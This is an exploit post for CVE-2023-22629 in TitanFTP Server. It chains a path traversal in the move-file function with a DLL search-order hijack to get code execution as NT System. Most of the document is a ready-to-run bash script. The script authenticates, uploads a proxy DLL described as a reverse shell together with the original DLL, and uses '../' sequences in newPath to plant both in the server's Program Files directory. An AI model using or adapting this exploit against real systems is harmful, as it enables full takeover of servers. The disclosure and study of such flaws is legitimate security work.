TitanFTP 2.0.1.2102 - Path traversal to Remote Code Execution Exploit

Titan FTP Server Path Traversal Vulnerability in move-file Function
Version: < 2.0.1.2102
CVE-2023-22629
CWE-24: Path Traversal

TitanFTP Server is vulnerable to a path traversal attack in the move-file function. An attacker can exploit this vulnerability by providing a specially crafted newPath parameter that contains directory traversal sequences (e.g., '../') to move a file to a directory outside the intended directory. This can allow an attacker to access sensitive files and execute arbitrary code. The vulnerability exists because the server does not properly validate the user-supplied newPath parameter. As a result, an attacker can send a request with the malicious parameter to bypass the intended directory and access unauthorized files.

This is an authenticated exploit. An attacker would need a user account on the TitanFTP server, to upload the files.
CWE-427: Uncontrolled Search Path Element

The service-application is vulnerable to a DLL search order hijack. It is importing several Windows DLL-files, like version.dll. By placing a proxy-DLL named version.dll exploiting the path traversal vulnerability, this DLL will proxy imports to the original version.dll also uploaded in the application directory, with the name version32.dll, one will gain Remote Code Execution on the server as NT System.
Exploit code

Using this batchfile, an authenticated attacker can upload 2 dll-files, doing DLL-Hijack by proxy. In this poc, I am uploading a reverse-shell DLL-File, named version.dll, that proxies exports to the original version.dll, here named version32.dll.

#!/bin/bash

url="http://192.168.16.226"
user="me"
pass="me"
proxydll="version.dll"
orig_dll="version32.dll"

host=$(echo -n $url|cut -d/ -f 3)
auth=$(curl -s -k -X POST -H "Host: $host" -H "No-Auth-Challenge: true" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin:$url" -H "Referer: $url" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "{\"user\":\"$user\",\"pass\":\"$pass\",\"ticket\":null,\"showEULA\":false}" "$url/WebApi/Login") 
SessionId=$(echo -n $auth |jq .auth.SessionId)
SessionId=$(echo -n "${SessionId//\"}")
ServerGUID=$(echo -n $auth |jq .auth.ServerGUID)
ServerGUID=$(echo -n "${ServerGUID//\"}")

#Uploading files
curl -i -s -k -v -X POST -H "User-Agent: Nah" -H 'No-Auth-Challenge: true' -H 'enctype: multipart/form-data' -H "SRTSessionId: $SessionId" -F "request={\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"SRTSessionId\":\"$SessionId\",\"Ticket\":null,\"Data\":{\"action\":\"uc\",\"chunkData\":{\"UploadUid\":\"935ee903-2f65-442a-8a0b-1b23d12537c5\",\"FileName\":\"$proxydll\",\"RelativeFullPath\":\"/$proxydll\",\"ContentType\":\"contenttype\",\"ChunkIndex\":0,\"ChunkSize\":2,\"TotalChunks\":1,\"TotalFileSize\":19456,\"Overwrite\":true},\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"}}" -F "chunk=@$proxydll;filename=blob;type=application/octet-stream" $url/WebApi/ProcessWithChunk
curl -i -s -k -v -X POST -H "User-Agent: Nah" -H 'No-Auth-Challenge: true' -H 'enctype: multipart/form-data' -H "SRTSessionId: $SessionId" -F "request={\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"SRTSessionId\":\"$SessionId\",\"Ticket\":null,\"Data\":{\"action\":\"uc\",\"chunkData\":{\"UploadUid\":\"935ee903-2f65-442a-8a0b-1b23d12537c5\",\"FileName\":\"$orig_dll\",\"RelativeFullPath\":\"/$orig_dll\",\"ContentType\":\"contenttype\",\"ChunkIndex\":0,\"ChunkSize\":2,\"TotalChunks\":1,\"TotalFileSize\":19456,\"Overwrite\":true},\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"}}" -F "chunk=@$orig_dll;filename=blob;type=application/octet-stream" $url/WebApi/ProcessWithChunk

#Moving them into c:\Program Files\South River Technologies\srxserver\"
curl -i -s -k -X POST -H "No-Auth-Challenge: true" -H "SRTSessionId: $SessionId" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin: $url" -H "Referer: $url/" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "[{\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"disableErrorSnackBar\":true,\"Data\":{\"action\":\"mv\",\"path\":\"/$proxydll\",\"newPath\":\"/../../../../../../../Program Files/South River Technologies/srxserver/$proxydll\",\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"},\"SRTSessionId\":\"$SessionId\"}]" "$url/WebApi/Process"
curl -i -s -k -X POST -H "No-Auth-Challenge: true" -H "SRTSessionId: $SessionId" -H "User-Agent: Nah" -H "content-type: application/json" -H "Accept: */*" -H "Origin: $url" -H "Referer: $url/" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9,nb;q=0.8,no;q=0.7,en-GB;q=0.6" -H "Connection: close" -d "[{\"Model\":\"MxUtilFileAction\",\"ServerGUID\":\"$ServerGUID\",\"Action\":\"l\",\"disableErrorSnackBar\":true,\"Data\":{\"action\":\"mv\",\"path\":\"/$orig_dll\",\"newPath\":\"/../../../../../../../Program Files/South River Technologies/srxserver/$orig_dll\",\"domainData\":false,\"domainLogs\":false,\"SRTSessionId\":\"$SessionId\"},\"SRTSessionId\":\"$SessionId\"}]" "$url/WebApi/Process"